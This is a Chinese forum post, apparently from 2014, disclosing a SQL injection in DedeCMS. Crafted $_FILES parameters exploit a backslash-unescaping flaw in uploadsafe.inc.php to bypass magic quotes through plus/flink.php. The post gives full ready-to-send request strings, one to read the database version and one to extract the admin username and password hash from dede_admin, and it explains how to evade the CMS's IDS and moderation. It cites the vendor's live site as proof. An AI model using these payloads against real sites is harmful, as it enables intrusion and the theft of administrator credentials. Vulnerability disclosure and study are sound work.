|
详细说明： 首先，我们来看看dede重要文件 common.inc.php
这里开始过滤得很完整，往下看
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数
if($_FILES)
{
require_once(DEDEINC.'/uploadsafe.inc.php');
}
我看再看：uploadsafe.inc.php
//29行
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
看到这里，我笑了。
这不是能绕过 GPC的节奏么。
好吧，随便找一个能添加数据的地方
于是找到了
plus\flink.php
虽然都经过 htmlspecialchars
我们看看：
htmlspecialchars(string,quotestyle,character-set)
可选。规定如何编码单引号和双引号。
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认情况下仅编码双引号。
这里不是重点，不过也是能利用的条件之一，用于绕过dede自带的ids。
构造webname 值为：
&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
这里解释一下，经过GPC后 webname 变为 pass\\
经过刚才 uploadsafe.inc.php 的函数后
webname 变为 pass\
插入到SQL语句中就变成了
INSERT INTO `#@__flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','
即吃掉了后面的 ' ，从而实现绕过GPC。
不过ExecuteNoneQuery不支持错误回显，那我们就构造好，让他显示出来吧。于是后面的logo函数就变成：
logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`
ischeck 为1即绕过审核，结果直接显示出来。
完整参数为：
查版本：
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
查密码：
Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\
验证码字段自己修改。。。
漏洞证明：
官方测试地址：
http://help.dedecms.com/plus/flink.php
|
帐号登录
QQ登录
微信登录
发表于 2014-9-28 10:11:23
